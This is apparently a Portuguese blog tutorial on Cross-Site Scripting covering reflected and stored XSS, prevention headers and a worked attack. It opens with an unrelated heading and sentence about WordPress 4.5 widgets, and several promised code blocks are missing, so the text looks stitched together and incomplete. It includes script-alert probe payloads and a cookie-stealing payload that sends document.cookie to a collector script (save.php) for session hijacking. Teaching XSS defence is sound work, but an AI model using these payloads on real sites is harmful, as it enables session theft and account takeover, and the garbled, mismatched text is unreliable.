Widgets e a Atualização Seletiva no WordPress 4.5
O WordPress, mais uma vez em suas atualizações vem trazendo novidades surpreendentes para desenvolvedores e usuários. As melhoras também vieram para widgets.
(XSS) Cross-Site Scripting – é um tipo de injeção, em que scripts maliciosos são injetadas em sites de outra forma confiável. ataques XSS ocorrem quando um invasor usa uma aplicação web para enviar código malicioso, geralmente na forma de um script do lado do navegador, para um usuário final diferente. Falhas que permitem que estes ataques para ter sucesso são bastante generalizadas e podem ocorrer em qualquer lugar que uma aplicação web usa a entrada de um usuário dentro da saída que é retornada sem validar ou higienizá-lo.
Para que serve o XSS?
Um hacker utiliza uma falha XSS para aplicar um script em uma página desprotegida, devido a flexibilidade da inserção de scripts o browser fica impossibilitado de e compreender ou validar se o script é ou não de uma fonte confiável e assim irá executar a instrução inserida de forma arbitrária, após a inserção o browser irá considerar o script como parte da página assim script obterá acesso aos cookies, dados de sessão e a qualquer outro recurso que faça parte da página inclusive a árvore DOM, podendo até mesmo alterar o conteúdo da página.
Um ataque XSS acontece em vários senários, mas os mais comuns são quando:
- Uma entrada é inserida de uma fonte não confiável.
- Uma entrada é inserida de uma fonte não confiável e não existe validação antes de seu uso.
O código malicioso pode conter instruções javascript, marcação ou qualquer outro tipo de conteúdo que o browser possa executar. Ataques XSS podem manipular o navegador em uma infinidade de maneiras, porém as mais utilizadas são roubo de cookies ou sessões, fazendo o navegador entregar estes dados a um servidor remotamente.
Tipos de ataque
- Reflected XSS
- Acontece quando um servidor deliberadamente exibe dados passados para aplicação, como por exemplo uma página de resultado de busca, mensagens de erro e qualquer outra forma que o servidor esteja retornado parâmetros passados sem validação ou higienização. Isso é comumente usado em casos onde o usuário irá confiar na URL que está na barra de endereço, por se tratar de uma URL “legítima”, porém infectada.
- Stored XSS
- Quando um servidor salva a entrada maliciosa em seu banco de dados, assim o servidor não valida a saída e a retorna da maneira explícita na qual se encontra no banco de dados.
Métodos de injeção
Observe o código abaixo:
Mas o que tem de errado com o código acima? Levando em consideração o objetivo principal do PHP que é gerar páginas da Web, isso demonstra um problema no que se diz respeito a injeção de código arbitrário. Pense comigo, da maneira que o código foi implementado eu posso facilmente injetar um script passado pela URL, e ele automaticamente será interpretado pelo browser como parte da página. Abaixo irei demonstrar como isso pode ser feito.
Se pararmos para analisar, a URL processa uma requisição do tipo GET, que consiste em passar parâmetros diretamente na querystring formada. Neste caso teŕiamos.
?query=Sua+busca
Que pode facilmente ser alterado para:
?query=<script>alert('XSS')</script>
?query=<script>alert(1337);</script>
O bloco de código acima irá fazer com que a aplicação insira diretamente a entrada maliciosa em sua marcação exibida no navegador, que por sua vez, irá assumir a entrada como parte do site. Assim podendo executar ações restritas à visitantes. Como podemos ver no exemplo abaixo:
Viu como é fácil, agora provavelmente um alerta será exibido pelo browser, estranho, né? Como é fácil manipular a saída quando ela não é higienizada. Dessa forma poderíamos fazer algo até mais elaborado, por exemplo, roubar os cookies da sessão atual do usuário e assumir o controle da sessão. Vamos implementar um código que faria isso.
Prevenção
Nunca se esqueça de validar a entrada dos usuários e a saída quando é retornada para view. Todo input, textarea e até mesmo parâmetros de querystrings nas URLs, devem ser higienizados e nunca adicionados diretamente na marcação.
Você deve também utilizar headers específicos que farão o navegador identificar e não avaliar o conteúdo injeto como válido.
- Sanitize todas as entadas de usuários
- Defina um rigoroso conjunto de padrões permitidos
- Sanitize também as saídas que serão imprimidas na tela
- Nunca insira a entrada do usuário diretamente no banco de dados
- No caso de uma resposta ajax, defina o cabeçalho correspondente ao tipo de resposta que esteja esperando.
- Nunca utilize eval()
- Adicione cabeçalhos de segurança contra XSS
X-XSS-Protection: 1; mode=blockAtiva a proteção no navegadorX-Content-Type-Options: nosniffEvita que código JavaScript seja inserido em imagens ou atributos de elementos.Content-Security-Policy: script-srcO mais importante, que evita praticamente toda entrada XSS em potencial.
Problemas causados
Em grande parte das ocorrências, o objetivo principal é o roubo de informações sensíveis quem em certos casos podem dar total acesso ao interior da aplicação. Vamos ilustrar abaixo como é relativamente simples de se explorar uma aplicação vulnerável a XSS.
Primeiro passo é identificar uma aplicação vulnerável, já havíamos abordamos isso antes.
?query=“><script>alert(‘XSS’)</script>
Pronto, agora que o hacker já sabe que a aplicação está vulnerável, ele pode direcionar ataques. Iremos demonstrar como ele pode facilmente roubar cookies de sessão. O payload que iremos usar é o seguinte.
Após inserir isso na querystring da URL iremos obter uma página contendo uma imagem. O atributo src irá tentar acessar a imagem por meio de sua URL, levando consigo o cookie que será gravado em um arquivo no servidor remoto.
?query=“><script>i=new Image();i.src=[“http://localhost/xss/save.php?cookie=”,document.cookie].join(”);document.body.insertAdjacentHTML(‘beforeend’,i.outerHTML);</script>
Arquivo save.php
Tudo que for passado para o arquivo save.php usando o parâmetro da querystring ‘cookie’ (/save.php?cookie=VALOR), será automaticamente escrito no arquivo f2SWwFJ78RFVQOjZE1qLXE.txt e seu conteúdo pode conter cookies ou dados de sessões que podem ser utilizados para assumir o controle da conta de usuários.
Além disso é possível obter muitos outros dados(resolução de tela, sistema operacional, hora da máquina, versão do navegador etc…), uma vez que estamos no controle do navegador via JavaScript. No exemplo abaixo, listo todos os cookies contidos no domínio.
Conclusão
Em todos os artigos sempre reforçamos o uso do bom senso, isso é impressível para o bom funcionamento da aplicação como um todo. A forma como você manipula as entradas também é um ponto importante. O WordPress possui em seu core alguns métodos que poderão lhe ajudar a mante-lo cada vez mais seguro, inclusive contra XSS, os links se encontram abaixo.
Referências:
Rodrigo Vieira da Silva 
Guilherme Henrique 
